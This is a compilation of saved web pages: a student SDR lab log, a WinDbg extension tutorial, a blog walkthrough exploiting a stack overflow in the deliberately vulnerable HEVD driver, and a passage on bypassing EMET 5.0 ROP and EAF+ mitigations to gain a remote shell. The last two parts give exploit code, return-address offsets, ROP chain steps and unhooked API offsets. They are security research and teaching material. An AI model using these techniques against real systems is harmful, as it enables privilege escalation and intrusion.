decreases every two seconds by 10 MHz, from 1000 to 900 MHz. Finally, in the
last twenty seconds, the frequency changes to a random frequency between 900
and 1000 MHz every two seconds.  
  
See source code here.  The main part we edited/added was the last 13 lines.  
  
  
We also tested how quickly the USRP could change frequencies.  From
experimenting with the time between frequency changes, it seems the fastest
the USRP can change frequencies is about once every 100 microseconds \(0.0001
seconds\).  
  
In the coming week, we hope to create a program that can automatically change
amplitude to adjust the signal strength.  We also hope to start combining
transmission and reception to see if we can design a program that changes the
transmission parameters based on reception stimuli.  
  
  
  
  
**Week 6 \(6/22-6/26\)**  
  
This week we figured out how to change the receiving frequency automatically. 
In addition, we fixed some problems we were having with the FFT \(Fast Fourier
Transform\) plot.  
  
We also finalized our project goals.  We will divide the 200 MHz range \(800
MHz - 1000 MHz\) of the Flex 900 USRP into five bands of 40 MHz each.  Each of
those five bands we will further subdivide into five channels of 8 MHz each.  
  
<img src='img/multiband.gif' />  
Initially, we will choose one of the five 40 MHz bands.  Once chosen, we will
randomly hop among the five channels in that band, changing the transmission
frequency every couple seconds or so.  At any given time, we will be
transmitting through one of the channels and receiving \(monitoring\) through
the other four channels.  
  
At some point, using a signal generator or another USRP, we will send a strong
signal through one of the channels, simulating interference.  In response to
this interference, which will exceed some predetermined threshold amplitude,
we will hop to a completely new 40 MHz band and continuing transmitting and
receiving in this new band.  This continues until there is interference in
this band as well, at which point, we will hop to another 40 MHz band.  
  
We plan to write a research paper about our project, and some essential
sections it will include are:  

  * GNU Radio: software-defined radio, structure, GNU Radio Companion
  * USRP: hardware, daughterboards, antenna  

  * Multiband frequency hopping for interference avoidance

This week, we hope to implement automatic frequency hopping in response to
receiving stimuli \(a strong interference signal\).  We also plan to begin
writing our research paper.  
  
  
  
  
**Week 7 \(6/29-7/3\)**  
  
Over the weekend, I e-mailed the discuss-gnuradio mailing list asking them how
to access the output of the FFT plot.  Monday morning, I got a reply that told
me to look at the usrp\_spectrum\_sense.py example script and this e-mail
thread, which explains how usrp\_spectrum\_sense.py works.  
  
Editing the usrp\_spectrum\_sense.py code, we were able to change the
transmission frequency in response to a strong received signal.  Next, we
modified the spectrum monitoring code \(receiving\) so that the USRP would
only scan four of the five channels in a 40-MHz band, skipping over the
channel that the USRP was transmitting in.  This was implemented to avoid
feedback interference causing the USRP to change transmission frequencies.  
  
The next feature we implemented was random frequency hopping.  About once or
twice per second, the transmission frequency would change to a different
channel inside the 40-MHz band.  Then, when interference was detected inside
the band, the USRP would randomly hop to one of the other four 40-MHz bands
between 800 and 1000 MHz.  It would then continue transmitting in and
monitoring this new band.  
  
We explained what we had designed to Fangming and he made some suggestions on
how to improve our design.  He told us about the receiving operating
characteristic \(ROC\) curve and explained how it could be used to compare
different methods or models and show which was better.  You always want to
maximize the true positive rate and minimize the false positive rate.  
  
Our threshold for changing frequencies was based on the instantaneous energy
\(proportional to the amplitude squared\).  However, Fangming pointed out this
method was very susceptible to spikes caused by noise or other signals. 
Instead, he recommended we use power as a threshold rather than instantaneous
energy.  After implementing this change, our frequency hopping became more
stable and less susceptible to noise and other signals \(fewer false
positives\).  
  
Modifying the usrp\_spectrum\_sense.py code, we made our own program,
rand\_freq\_hopping.py, and below is a video demonstration:  
  
  
Finally, on Wednesday \(7/1\), we gave a demonstration of the GNU Radio, USRP,
GRC, and our random frequency hopping program to some representatives from BAE
\(a British aerospace and electronics company\) and Professor Joseph Mitola. 
Dr. Mitola first coined the term "software-defined radio" in 1991 and
published the first SDR paper in 1992.  He was also the first person to
officially present the idea of cognitive radio in a paper published in 1999. 
Currently, he serves as the Vice President of Stevens Institute of Technology.  
  
  
  
**Week 8 \(7/6-7/10\)**  
  
Having finished our random frequency hopping program, we are focusing our
efforts on the research paper.  We finished outlining the paper, divided up
the different sections, and began writing the paper.  
  
During the week, we also spent a couple days collecting modulation data for
our graduate student mentor, Fangming.  Using the GRC, we transmitted signals
from one USRP to another with various modulations, such as DPSK \(differential
phase-shift keying, GMSK \(Gaussian minimum shift keying\), OFDM \(orthogonal
frequency-division multiplexing\), and QAM \(quadrature amplitude
modulation\).  On the receiving computer, we saved the raw received signal to
a file without demodulating it.  The reason for this is Fangming wants to
analyze this data to see if he can implement a machine algorithm for
recognizing different types of modulation.  
  
Professor Yao also asked us to make a few video demonstrations, which could be
shown if the equipment is not working or when no one is around to run the
demonstrations.  I downloaded a desktop-recording program for use in making
some videos, but currently I am having audio-video syncing issues.  Once these
videos are made, they will be a useful reference in the future for us and for
other people working with the GNU Radio and the USRP.  
  
Finally, on Thursday \(7/9\), we did a presentation to the vice president of
AT&T, representatives from the Picatinny Arsenal, and Professor Victor
Lawrence, who is a member of the Academy of Engineering.  We demonstrated data
packet transmission between the two USRPs, the GRC, and our random frequency
hopping program.  
  
**Week 9 \(7/13-7/17\)**  
  
We finished shooting the video demonstrations for Professor Yao and posted
them on YouTube here.  We edited our random frequency hopping program so that
it only used the frequency spectrum between 900 MHz and 1000 MHz.  The five
bands are now 20 MHz each, and the five channels within each band are 4 MHz
each.  The main purpose of this change is to avoid using the frequencies
around 870-890 MHz, which are very busy because they are used by mobile phone
carriers like Verizon.  We do not want to interfere with their signals.  The
updated source code for the random frequency hopping program is available
here.  
  
We have finished writing most of our paper and will wrap it up and polish it
early next week.  The final paper, report, and poster will be posted in next
week's weekly report.  
  
**Week 10 \(7/20-7/24\)**  
  
We finished up our research posters, research paper, and research report.  We
want to thank Professor Yao and Fangming He for serving as our research
advisors. Research poster Research report Research paper

# Developing WinDbg ExtEngCpp Extension in C++ – Symbols – Part 4 | Matt Suiche
**Created:**| _4/28/2014 11:23:48 AM_  
---|---  
**Updated:**| _4/28/2014 11:23:48 AM_  
**Author:**| __  
**Tags:**| _Debugging programming windows environment_  
  

# Developing WinDbg ExtEngCpp Extension in C++ – Symbols – Part 4

As part of my previous series of articles on developping WinDbg ExtEngCpp
extension, I will cover through two examples how to use symbols efficiently
while writing your extension.

_In the past, I tried several times to report issues \(e.g. “\!reg
subkeylist”\), but I never had a response from the WinDbg team. Same thing
when I attempted to reach them for some questions related to the WinDbg SDK,
which is the reason I assume there is no team \(retired ?\) anymore at
Microsoft to maintain WinDbg and decided to convert my frustration in my own
extension replacing most of the broken or improvable functions from WinDbg as
you can at the end of the article. If anyone is interested in beta-testing my
extension, contact me over email._

#### ExtRemoteTyped

You can find below an example of using ExtRemoteTyped. The function below
computes the cellindex using the benefit ExtRemoteTyped format and functions.

  1. EXT\_COMMAND\(ms\_cellindex,
  2. "Compute cell index",
  3. "\{;ed;hive;Key hive\}\{;ed;index;Cell index\}"\)
  4. ULONG64 KeyHiveAddr = GetUnnamedArgU64\(0\);
  5. ULONG CellIndex = \(ULONG\)GetUnnamedArgU64\(1\);
  6. ExtRemoteTyped KeyHive\("\(nt\!\_HHIVE \*\)@$extin", KeyHiveAddr\);
  7. ULONG64 CellAddr = RegGetCellPaged\(KeyHive, CellIndex\);
  8. ULONG64
  9. RegGetCellPaged\(
  10. ExtRemoteTyped KeyHive,
  11. ULONG CellIndex
  12. ULONG Type, Table, Block, Offset;
  13. ULONG64 CellAddr;
  14. Type = \(\(ULONG\)\(\(CellIndex & HCELL\_TYPE\_MASK\) >> HCELL\_TYPE\_SHIFT\)\);
  15. Table = \(ULONG\)\(\(CellIndex & HCELL\_TABLE\_MASK\) >> HCELL\_TABLE\_SHIFT\);
  16. Block = \(ULONG\)\(\(CellIndex & HCELL\_BLOCK\_MASK\) >> HCELL\_BLOCK\_SHIFT\);
  17. Offset = \(ULONG\)\(CellIndex & HCELL\_OFFSET\_MASK\);
  18. // g\_Ext->Dml\("Hive: %I64X, CellIndex = %x, Type = %x, Table = %x, Block = %x, Offset = %x\n",
  19. // KeyHive.GetPtr\(\), CellIndex, Type, Table, Block, Offset\);
  20. ExtRemoteTyped DirMap = KeyHive.Field\("Storage"\).ArrayElement\(Type\).Field\("Map"\);
  21. ExtRemoteTyped MapTable = DirMap.Field\("Directory"\).ArrayElement\(Table\);
  22. CellAddr = MapTable.Field\("Table"\).ArrayElement\(Block\).Field\("BlockAddress"\).GetPtr\(\);
  23. CellAddr += Offset;
  24. if \(KeyHive.Field\("Version"\).GetUlong\(\) == 1\) CellAddr += sizeof\(LONG\)+sizeof\(ULONG\);
  25. else CellAddr += sizeof\(LONG\);
  26. return CellAddr;

#### m\_Symbols

There are two functions that can be used for symbols name resolution,
GetOffsetByName\(\) and GetNameByOffset\(\)

  1. if \(g\_Ext->m\_Symbols->GetOffsetByName\("nt\!KeServiceDescriptorTable", &KeServiceDescriptorTable\) \!= S\_OK\) goto Exit;
  2. if \(g\_Ext->m\_Symbols->GetOffsetByName\("nt\!KiServiceLimit", &KiServiceLimit\) \!= S\_OK\) goto Exit;
  3. if \(g\_Ext->m\_Data->ReadPointersVirtual\(1, KeServiceDescriptorTable, &ServiceTableBase\) \!= S\_OK\) goto Exit;
  4. if \(g\_Ext->m\_Data->ReadVirtual\(KiServiceLimit, &Limit, sizeof\(ULONG\), NULL\) \!= S\_OK\) goto Exit;
  5. g\_Ext->m\_Symbols->GetNameByOffset\(SIGN\_EXTEND\(Address\), \(PSTR\)Name, \_countof\(Name\), NULL, NULL\);
  6. Dml\("\[%3d\] 0x%I64X %-64s \(Hooked: %3s\) \(Inline: %3s\)\n",
  7. Entry.Index, Entry.Address, Name,
  8. Entry.PatchedEntry ? "Yes" : "No", Entry.InlineHooking ? "Yes" : "No"\);

<img src='img/Temp2_2151.png' alt='knode' />

<img src='img/Temp2_2152.png' alt='kvalue' />

##### Related articles:

\- Developing WinDbg ExtEngCpp Extension in C++ – Introduction – Part 1  
\- Developing WinDbg ExtEngCpp Extension in C++ – COM Interface – Part 2  
\- Developing WinDbg ExtEngCpp Extension in C++ – Memory & Debugger Markup
Language \(DML\) – Part 3  
\- Developing WinDbg ExtEngCpp Extension in C++ – Symbols – Part 4

# abatchy's blog | \[Kernel Exploitation\] 3: Stack Buffer Overflow \(Windows 7 x86/x64\)
**Created:**| _3/7/2018 8:44:38 AM_  
---|---  
**Updated:**| _3/7/2018 8:44:38 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

Tuesday, January 2, 2018

  * Kernel Exploitation

# \[Kernel Exploitation\] 3: Stack Buffer Overflow \(Windows 7 x86/x64\)

_TheHackSysExtremeVulnerableDriver by HackSysTeam always interested me and I
got positive feedback on writing about it, so here we are._

_Exploit code can be foundhere._

* * *
### 1\. Understanding the vulnerability

Link to code here.

[code]

    NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
        NTSTATUS Status = STATUS_SUCCESS;
        ULONG KernelBuffer[BUFFER_SIZE] = {0};
    
        PAGED_CODE();
    
        __try {
            // Verify if the buffer resides in user mode
            ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
    
            DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
            DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
            DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
            DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
    
    #ifdef SECURE
            // Secure Note: This is secure because the developer is passing a size
            // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
            // there will be no overflow
            RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
    #else
            DbgPrint("[+] Triggering Stack Overflow\n");
    
            // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
            // because the developer is passing the user supplied size directly to
            // RtlCopyMemory()/memcpy() without validating if the size is greater or
            // equal to the size of KernelBuffer
            RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
    #endif
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            Status = GetExceptionCode();
            DbgPrint("[-] Exception Code: 0x%X\n", Status);
        }
    
        return Status;
    }
    
[/code]

`TriggerStackOverflow` is called via `StackOverflowIoctlHandler`, which is the
IOCTL handler for `HACKSYS_EVD_IOCTL_STACK_OVERFLOW`.

Vulnerability is fairly obvious, a user supplied buffer is copied into a
kernel buffer of size 2048 bytes \(`512 * sizeof(ULONG)`\). No boundary check
is being made, so this is a classic stack smashing vulnerability.

### 2\. Triggering the crash

[code]

    #include <Windows.h>
    #include <stdio.h>
    
    // IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
    #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
    
    int main()
    {
    	// 1. Create handle to driver
    	HANDLE device = CreateFileA(
    		"\\\\.\\HackSysExtremeVulnerableDriver",
    		GENERIC_READ | GENERIC_WRITE,
    		0,
    		NULL,
    		OPEN_EXISTING,
    		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
    		NULL);
    
    	printf("[+] Opened handle to device: 0x%x\n", device);
    
    	// 2. Allocate memory to construct buffer for device
    	char* uBuffer = (char*)VirtualAlloc(
    		NULL,
    		2200,
    		MEM_COMMIT | MEM_RESERVE,
    		PAGE_EXECUTE_READWRITE);
    
    	printf("[+] User buffer allocated: 0x%x\n", uBuffer);
    
    	RtlFillMemory(uBuffer, 2200 , 'A');
    	
    	DWORD bytesRet;
    	// 3. Send IOCTL
    	DeviceIoControl(
    		device,
    		HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
    		uBuffer,
    		2200,
    		NULL,
    		0,
    		&bytesRet,
    		NULL
    	);
    }
    
[/code]

Now compile this code and copy it over to the VM. Make sure a WinDBG session
is active and run the executable from a shell. Machine should freeze and
WinDBG should \(okay, maybe will\) flicker on your debugging machine.

HEVD shows you debugging info with verbose debugging enabled:

[code]

    ****** HACKSYS_EVD_STACKOVERFLOW ******
    [+] UserBuffer: 0x000D0000
    [+] UserBuffer Size: 0x1068
    [+] KernelBuffer: 0xA271827C
    [+] KernelBuffer Size: 0x800
    [+] Triggering Stack Overflow
    
[/code]

Enter `k` to show the stack trace, you should see something similar to this:

[code]

    kd> k
     # ChildEBP RetAddr  
    00 8c812d0c 8292fce7 nt!RtlpBreakWithStatusInstruction
    01 8c812d5c 829307e5 nt!KiBugCheckDebugBreak+0x1c
    02 8c813120 828de3c1 nt!KeBugCheck2+0x68b
    03 8c8131a0 82890be8 nt!MmAccessFault+0x104
    04 8c8131a0 82888ff3 nt!KiTrap0E+0xdc
    05 8c813234 93f666be nt!memcpy+0x33
    06 8c813a98 41414141 HEVD!TriggerStackOverflow+0x94 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 92] 
    WARNING: Frame IP not in any known module. Following frames may be wrong.
    07 8c813aa4 41414141 0x41414141
    08 8c813aa8 41414141 0x41414141
    09 8c813aac 41414141 0x41414141
    0a 8c813ab0 41414141 0x41414141
    0b 8c813ab4 41414141 0x41414141
    
[/code]

If you continue execution, 0x41414141 will be popped into EIP. That wasn’t so
complicated :\)

* * *
### 3\. Controlling execution flow

Exploitation is straightforward with a token-stealing payload described in
part 2. The payload will be constructed in user-mode and its address passed as
the return address. When the function exists, execution is redirected to the
user-mode buffer. This is called a privilege escalation exploit as you’re
executing code with higher privileges than you’re supposed to have.

Since SMEP is not enabled on Windows 7, we can point jump to a payload in
user-mode and get it executed with kernel privileges.

Now restart the vm `.reboot` and let’s put a breakpoint at function start and
end. To know where the function returns, use `uf` and calculate the offset.

[code]

    kd> uf HEVD!TriggerStackOverflow
    HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
       65 9176b62a push    80Ch
       65 9176b62f push    offset HEVD!__safe_se_handler_table+0xc8 (917691d8)
       65 9176b634 call    HEVD!__SEH_prolog4 (91768014)
       
       ...
       
      101 9176b6ed call    HEVD!__SEH_epilog4 (91768059)
      101 9176b6f2 ret     8
      
    kd> ? 9176b6f2 - HEVD!TriggerStackOverflow
    Evaluate expression: 200 = 000000c8
    
    kd> bu HEVD!TriggerStackOverflow
    
    kd> bu HEVD!TriggerStackOverflow + 0xc8
    
    kd> bl
         0 e Disable Clear  9176b62a     0001 (0001) HEVD!TriggerStackOverflow
         1 e Disable Clear  9176b6f2     0001 (0001) HEVD!TriggerStackOverflow+0xc8
    
[/code]

Next, we need to locate RET’s offset:

  * At `HEVD!TriggerStackOverflow+0x26`, `memset` is called with the kernel buffer address stored at `@eax`. Step over till you reach that instruction.
  * `@ebp + 4` points to the stored RET address. We can calculate the offset from the kernel buffer.

[code]

    kd> ? (@ebp + 4) - @eax
    Evaluate expression: 2076 = 0000081c
    
[/code]

We now know that the return address is stored **2076** bytes away from the
start of the kernel buffer\!

The big question is, where should you go after payload is executed?

* * *
### 4\. Cleanup

Let’s re-think what we’re doing. Overwriting the return address of the first
function on the stack means this function’s remaining instructions won’t be
reached. In our case, this function is `StackOverflowIoctlHandler` at offset
`0x1e`.

<img src='img/kernel2.png' width='579' height='530' alt='WinDBG_screenshot_2'
/>

Only two missing instructions need to be executed at the end of our payload:

[code]

    9176b718 pop     ebp
    9176b719 ret     8
    
[/code]

We’re still missing something. This function expects a return value in `@eax`,
anything other than 0 will be treated as a failure, so let’s fix that before
we execute the prologue.

[code]

    xor eax, eax                    ; Set NTSTATUS SUCCEESS
    
[/code]

The full exploit can be found here. Explanation of payload here.

<img src='img/kernel3.png' width='579' height='220' alt='Exploit_screenshot_2'
/>

* * *
### 5\. Porting the exploit to Windows 7 64-bit

Porting this one is straightforward:

  * Offset to kernel buffer becomes **2056** instead of 2076.
  * x64 compatible payload..
  * Addresses are 8 bytes long, required some modifications.
  * No additional relevant protection is enabled.

<img src='img/kernel4.png' width='579' height='296' alt='Exploit_screenshot_2'
/>

Full exploit here.

* * *
### 6\. Recap

  * A user-supplied buffer is being copied to a kernel buffer without boundary check, resulting in a class stack smashing vulnerability.
  * Function return address is controllable and can be pointed to a user-mode buffer as SMEP is not enabled.
  * Payload has to exist in an R?X memory segment, otherwise DEP will block the attempt.
  * No exceptions can be ignored, which means we have to patch the execution path after payload is executed. In our case that consisted of 1\) setting the return value to 0 in `@eax` and 2\) execute the remaining instructions in `StackOverflowIoctlHandler` before returning.

* * *
That’s it\! Part 4 will be exploiting this on Windows 10 with SMEP bypass\!

\- Abatchy

  * __ __
  * __ __
  * __ __
  * __ __

  * 0 comments
  * **abatchy17.github.io**
  * Login
  * 1

  *  Recommend
  * ⤤ Share
  * Sort by Best

<img src='img/13123_noavatar92.7b2fde640943965cc88df0cdee365907.png'
width='48' height='48' alt='Avatar' />

Start the discussion…

  

  * Attach

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

Be the first to comment.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

<img src='' width='0' height='0' /><img src='' width='0' height='0' /><img
src='' width='0' height='0' /><img src='' width='0' height='0' />

<img src='' width='0' height='0' />

  

# Disarming Enhanced Mitigation Experience Toolkit \(EMET\) v 5.0

**Created:**| _9/30/2014 8:33:49 PM_  
---|---  
**Updated:**| _9/30/2014 8:33:49 PM_  
**Author:**| __  
**Tags:**| __  
  

# Disarming Enhanced Mitigation Experience Toolkit \(EMET\) v 5.0

####  INTRODUCTION

In our previous Disarming Emet 4.x blog post, we demonstrated how to disarm
the ROP mitigations introduced in EMET 4.x by abusing a global variable in the
_.data_ section located at a static offset. A general overview of the EMET 5
technical preview has been recently published here. However, the release of
the final version introduced several changes that mitigated our attack and we
were curious to see how difficult it would be to adapt our previous disarming
technique to this new version of EMET. In our research we targeted 32-bit
systems and compared the results across different operating systems \(Windows
7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1, Windows XP SP3 and Windows
2003 SP2\). We chose to use the IE8 ColspanID vulnerability once again in
order to maintain consistency through our research.

####  ROP PROTECTIONS CONFIGURATION HARDENING

The very first thing that we noticed is that the global variable we exploited
to disarm the ROP Protections \(ROP-P\) routine is not pointing directly to
the ROP-P general switch anymore. This variable, which is now at offset
_0x000aa84c_ from the _EMET.dll_ base address, holds an encoded pointer to a
structure of 0x560 bytes \(See _CONFIG\_STRUCT_ in Fig. 1\). The ROP-P general
switch is now located at _CONFIG\_STRUCT+0x558_ \(Fig. 1, Fig. 2\).

<img src='img/Temp2_2297.png' alt='Figure 1: Allocation of CONFIG_STRUCT 0x560
Bytes' />

<img src='img/Temp2_2293.png' alt='Figure 2: ROP-P General Switch' />

Figure 2: ROP-P General Switch

Encoded pointers are used to provide a layer of protection for the actual
pointer values. These pointer values can be decoded by using the appropriate
_DecodePointer_ Windows API. Our first idea was to try to use the
_DecodePointer_ function to get the required pointer and then to zero out the
general ROP-P switch. This API can usually be found in the Import Address
Table \(IAT\) of several modules loaded by target processes. Additionally,
since _EMET.dll_ needs _DecodePointer_ , we can extract the offset from the
DLL base address directly from its IAT. The first step, as shown in our
previous blog post, is to gather the _EMET.dll_ base address. In this
particular case, we will also save the EMET base address somewhere in memory
in order to get the absolute address of _DecodePointer_ later on. Once we
decode the encoded pointer, disarming ROP becomes a very similar exercise as
in our previous exploit.  
The following ROP gadgets were used to disable the ROP Protections in the IE8
ColspanID exploit:

\# GetModuleHandle from the stack  
GetModuleHandle GetModuleHandle  
\# Get GetModuleHandle Address  
\# GetModuleHandle  
\# GetModuleHandle Address EMET\_CONFIG\_STRUCT  
EMET\_STRING\_PTR GetModuleHandle argument  
EMET\_CONFIG\_STRUCT EMET\_CONFIG\_STRUCT offset  
MEM\_ADDRESS to save EMET base  
MEM\_ADDRESS  
\# Save EMET base address MEM\_ADDRESS  
\# Get the address of EMET\_CONFIG\_STRUCT  
Get the encoded value stored EMET\_CONFIG\_STRUCT  
DecodePointer ARG from the stack  
DECODEPTR\_ARG\_PTR  
Update DECODEPTR\_ARG with encoded value  
\# EMET base address  
MEM\_ADDRESS  
Get EMET Base  
\# DecodePointer offset from the stack  
DECODEPTR\_OFFSET  
\# Get the address of DecodePointer IAT  
Get the address of DecodePointer  
\# DecodePointer  
\# ROPP Global Switch offset DECODEPTR\_ARG  
ROP\_P\_OFFSET  
\# Get address of ROPP Global Switch offset  
\#  
0x00000000  
\# Zero the ROPP Global Switch

####  EAF

In our previous blog post, we bypassed EAF by using a known technique
presented by the security researcher Piotr Bania. The technique makes use of
the Windows syscall _NtSetContextThread_ to clear the hardware breakpoints set
by EMET on the Export Address Table of _kernel32.dll_ and _ntdll.dll_. EMET 5
now protects the _KERNELBASE.dll_ Export Address Table as well, but the only
new protection implemented in version 5 against the use of the above technique
is that now _NtSetContextThread_ as well as _NtContinue_ \(which can also be
used in a similar way to bypass EAF\) are hooked by the toolkit.  
“Unfortunately”, the hook eventually calls into the ROP-P routine, and since
all the checks are already disarmed by the previous ROP chain, it is
completely ineffective. The result is that no further changes to the shellcode
were needed to bypass EMET 5 with all of its mitigations enabled except for
EAF+. By resolving and calling _NtSetContextThread_ , we were once again able
to bypass EAF and successfully obtain a remote shell.

####  EAF+

EAF+, on the other hand, introduces a few extra security checks. First of all,
it offers the possibility of blacklisting specific modules that should never
be allowed to read protected locations \(EAT and MZ/PE header of specific
modules\). For IE, EAF+ blacklists by default _mshtml.dll, Adobe Flash
flash\*.ocx, jscript\*.dll, vbscript.dll and vgx.dll_. However, since in our
case we are resolving _NtSetContextThread_ by directly calling
_GetProcAddress_ , we are implicitly bypassing this mitigation.  
When we ran our exploit with EAF+ enabled, IE crashed without any explanations
or EMET-related log entries in the Windows Event Viewer. Our first thought was
that EMET detected the stack register being out of the allowed boundaries, as
this check and the detection of a mismatch of stack and frame pointer
registers are the other two mitigations introduced by EAF+.  
We were able to verify this by setting a breakpoint at _EMET+0x40BA6_ \(Fig.
3\), which is a basic block belonging to the EAF/EAF+ ExceptionHandler
\(_EMET+0x4084A_\) installed by the toolkit.

<img src='img/Temp2_2296.png' alt='Figure 3: EAF+ Stack Register Check' />

Figure 3: EAF+ Stack Register Check

Since we have already disarmed EMET ROP mitigations as well as DEP/ASLR at
this point, we were able to bypass the stack registers check executing the
following instructions just before resolving _NtSetContextThread_ :

DWORD  
DWORD  
OFFSET

The first three instructions simply recover the StackBase pointer value for
the executing thread from the Thread Environment Block \(TEB\). We then add a
negative offset to fall within StackBase and StackLimit and set ESP to point
to this value.

0:021> dt -r1 \_TEB  
ntdll\!\_TEB  
+0x000 NtTib : \_NT\_TIB  
+0x000 ExceptionList : Ptr32 \_EXCEPTION\_REGISTRATION\_RECORD  
+0x004 StackBase : Ptr32 Void  
+0x008 StackLimit : Ptr32 Void  
+0x00c SubSystemTib : Ptr32 Void  
+0x010 FiberData : Ptr32 Void  
+0x010 Version : Uint4B  
+0x014 ArbitraryUserPointer : Ptr32 Void  
+0x018 Self : Ptr32 \_NT\_TIB

At this point, we were happy enough as our exploit was working nicely with all
the protections enabled. However, as we were reversing the EAF/EAF+
ExceptionHandler, we noticed something interesting. At offset
_EMET+0x00040E75_ \(Fig. 4\) there is a call to _NtSetContextThread_ , but
rather than calling into the hooked Windows Native API, EMET calls a stub that
sets up the syscall number into the EAX register and then jumps into
_NtSetContextThread+0x5_ to bypass the EMET shim \(Fig. 5\).

<img src='img/Temp2_2295.png' alt='Figure 4: Call to the Unhooked
NtSetContextThread' />

Figure 4: Call to the Unhooked NtSetContextThread

The interesting part is that the pointer to this stub is an entry in the
configuration structure that we used to disarm the ROP Protections. In other
words, we can use this stub as an alternative way to bypass EAF+ as we can
directly call into _POINTER\(CONFIG\_STRUCT+0x518\)_ without the need to
resolve the _NtSetContextThread_ address.

<img src='img/Temp2_2294.png' alt='Figure 5: NtSetContextThread unhooked stub'
/>

Figure 5: NtSetContextThread unhooked stub

This discovery made us even more curious and we started to snoop around the
entire structure. We saw that at specific static offsets from the beginning of
the structure, you can find pointers to respective stubs for all the hooked
Windows APIs:

shoujou:Desktop ryujin$ .config\_struct.py struct.txt  
Function: KERNELBASECreateFileMappingNumaW Offset:0x428  
Function: KERNELBASECreateFileMappingW Offset:0x410  
Function: KERNELBASECreateFileW Offset:0x3b0  
Function: KERNELBASECreateRemoteThreadEx Offset:0x2d8  
Function: KERNELBASECreateRemoteThreadEx Offset:0x2f0  
Function: KERNELBASEHeapCreate Offset:0x1e8  
Function: KERNELBASELoadLibraryExA Offset:0x80  
Function: KERNELBASELoadLibraryExW Offset:0x98  
Function: KERNELBASEMapViewOfFile Offset:0x488  
Function: KERNELBASEMapViewOfFileEx Offset:0x4a0  
Function: KERNELBASEVirtualAlloc Offset:0x110  
Function: KERNELBASEVirtualAllocEx Offset:0x128  
Function: KERNELBASEVirtualProtect Offset:0x188  
Function: KERNELBASEVirtualProtectEx Offset:0x1a0  
Function: KERNELBASEWriteProcessMemory Offset:0x338  
Function: kernel32CreateFileA Offset:0x380  
Function: kernel32CreateFileMappingA Offset:0x3e0  
Function: kernel32CreateFileMappingWStub Offset:0x3f8  
Function: kernel32CreateFileWImplementation Offset:0x398  
Function: kernel32CreateProcessA Offset:0x218  
Function: kernel32CreateProcessInternalA Offset:0x248  
Function: kernel32CreateProcessInternalW Offset:0x260  
Function: kernel32CreateProcessW Offset:0x230  
Function: kernel32CreateRemoteThreadStub Offset:0x2c0  
Function: kernel32HeapCreateStub Offset:0x1d0  
Function: kernel32LoadLibraryA Offset:0x20  
Function: kernel32LoadLibraryExAStub Offset:0x50  
Function: kernel32LoadLibraryExWStub Offset:0x68  
Function: kernel32LoadLibraryW Offset:0x38  
Function: kernel32MapViewOfFileExStub Offset:0x470  
Function: kernel32MapViewOfFileStub Offset:0x458  
Function: kernel32VirtualAllocExStub Offset:0xf8  
Function: kernel32VirtualAllocStub Offset:0xe0  
Function: kernel32VirtualProtectExStub Offset:0x170  
Function: kernel32VirtualProtectStub Offset:0x158  
Function: kernel32WinExec Offset:0x368  
Function: kernel32WriteProcessMemoryStub Offset:0x320  
Function: ntdllLdrHotPatchRoutine Offset:0x8  
Function: ntdllLdrLoadDll Offset:0xc8  
Function: ntdllNtContinue Offset:0x500  
Function: ntdllNtCreateFile Offset:0x3c8  
Function: ntdllNtCreateProcessEx Offset:0x2a8  
Function: ntdllNtMapViewOfSection Offset:0x4e8  
Function: ntdllNtProtectVirtualMemory Offset:0x1b8  
Function: ntdllNtSetContextThread Offset:0x518  
Function: ntdllNtUnmapViewOfSection Offset:0x4d0  
Function: ntdllRtlCreateHeap Offset:0x200  
Function: ntdllZwAllocateVirtualMemory Offset:0x140  
Function: ntdllZwCreateProcess Offset:0x290  
Function: ntdllZwCreateSection Offset:0x440  
Function: ntdllZwCreateThreadEx Offset:0x308  
Function: ntdllZwCreateUserProcess Offset:0x278  
Function: ntdllZwWriteVirtualMemory Offset:0x350

This is particularly troublesome as it provides the attacker with access to
the most powerful APIs completely unhooked and without the need of resolving
their addresses once EMET _CONFIG\_STRUCT_ is gathered. However, since Deep
Hooks are enabled by default, if the attacker plans to use one of the above
APIs without disarming EMET in first place, they would need to call the
deepest API in the chain.

As usual, the full exploit can be found at The Exploit Database. The exploit
uses the stub at _POINTER\(CONFIG\_STRUCT+0x518\)_ to bypass EAF+ as well as
the ROP chain presented in this blog post.

<img src='img/Temp2_2298.png' alt='Figure 6: Remote Shell with EMET 5 enabled'
/>

Figure 6: Remote Shell with EMET 5 enabled

####  ASR

The Attack Surface Reduction \(ASR\) feature in EMET 5.0 helps reduce the
exposure of applications by preventing the loading of specific modules or
plugins within the target application. This protection can really be effective
in cases where an attacker forces the target application to load a specific
DLL to bypass ASLR \(Java msvcr71.dll is a very typical case\).  
Protection provided by ASR does not affect our exploit in any way because we
